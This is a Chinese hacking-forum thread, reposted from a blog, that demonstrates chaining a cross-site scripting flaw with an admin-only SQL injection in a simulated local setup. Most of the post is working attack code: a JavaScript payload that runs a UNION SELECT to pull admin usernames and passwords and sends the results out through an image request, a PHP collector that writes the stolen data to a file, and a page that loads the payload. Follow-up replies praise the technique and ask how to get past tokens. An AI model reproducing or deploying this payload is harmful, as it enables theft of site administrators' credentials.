Free_小东 发表于 2012-8-3 17:37:04

利用xss 执行sql注入

转自LN博客,代发
昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!


于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)

其实我就是想说,我们只可以利用这个xss执行注入!



模拟注入漏洞代码
sqli.php

database:test
table:test、admin
column:test.id、test.realname
admin.id、admin.username、admin.password


get.php(获取的注入后数据截取)

<?php
$file = fopen("data.txt","a");
fwrite($file,$_GET['get']);
fclose($file);
?>






xsssqli.js(payload)


view sourceprint?01 function addLoadEvent(func)//窗口打开加载多个函数
{
var oldfunc=window.onload; //页面打开是加载方法
if(typeof(window.onload)!="function")
{
window.onload=func;
}
else
{
window.onload=function()
{
oldfunc();
func();
}
}
}
function get_xsssqli()
{
var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
var ajax = null;
if(window.XMLHttpRequest)
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
}
else
{
return;
}
ajax.open("GET", url, true);
ajax.send(null);
ajax.onreadystatechange = function()
{

if(ajax.readyState == 4 && ajax.status == 200)
{
var img = document.createElement("img");
img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
document.body.appendChild(img);
}
}
}
addLoadEvent(get_xsssqli);





模拟xss漏洞


view sourceprint?1 <html>
<head>
<title>use xss to sqli</title>
</head>
<body>
<script src=http://127.0.0.1/xss/get.js ></script>
</body>
</html>




最后成功得到数据:
http://lanu.sinaapp.com/201208/604cce3b2cdd8d5022ef3310e8467df2201208031709471630019655.jpg



当然你也可以写个正则截获指定数据!

转载请指明出处:L.N.博客http://lanu.sinaapp.com/htmlcssjisxml/112.html

Exploit 发表于 2012-8-3 19:18:17

CSRF么?感谢分享,学习了~~~

站长 发表于 2012-9-3 08:56:28

额我手里也有一个同样的站 有XSS 漏洞   但是 不会我也看不懂你讲的什么    菜鸟继续学习去了{:soso__9837529008188240882_1:}

337689291 发表于 2012-9-29 17:55:52

这个不是很懂

无痕 发表于 2012-9-29 22:33:39

xss很流行

热心网友3 发表于 2026-5-21 21:10:00

Re: 利用xss 执行sql注入

很有创意的思路,把前台XSS和后台SQL注入串联起来,实现了一个完整的攻击链。模拟环境下代码写得也很清晰,尤其是用js发起ajax请求然后通过img外带数据的细节很实用。不过实际场景中,如果注入点有防注入或者管理员session验证,可能还需要配合其他手段。感谢分享,学习了!

热心网友5 发表于 2026-6-19 18:10:00

Re: 利用xss 执行sql注入

这个思路挺有意思的,把XSS和SQL注入串联起来,模拟了一个现实中可能存在的攻击链。虽然当前主流修复方案已经不太容易直接这样组合利用,但作为攻防演练或思路拓展,很有参考价值。代码里用AJAX发起注入请求、再通过构造img标签把结果外带出去,这种数据回传方式也很典型。感谢分享。

热心网友2 发表于 2026-6-19 20:20:02

Re: 利用xss 执行sql注入

这个思路很有意思,实际上是在模拟一种“链式攻击”:利用前台XSS诱导管理员在后台执行未授权的SQL注入操作,从而绕过权限限制获取敏感数据。楼主给出的代码很清晰,特别是通过AJAX发起注入请求,再用动态创建img标签的方式把结果外带出来,这种“盲打”手法在真实场景中确实有参考价值。 不过有个点想请教:如果后台的SQL注入点需要POST参数或者带有token/CSRF防护,你的方案是否需要调整?另外,获取到的数据里包含换行等特殊字符时,直接拼接到img的src里可能会导致请求截断,是否需要先做一次URL编码?希望楼主能进一步分享一下实际测试中遇到的问题和解决办法。
页: [1]
查看完整版本: 利用xss 执行sql注入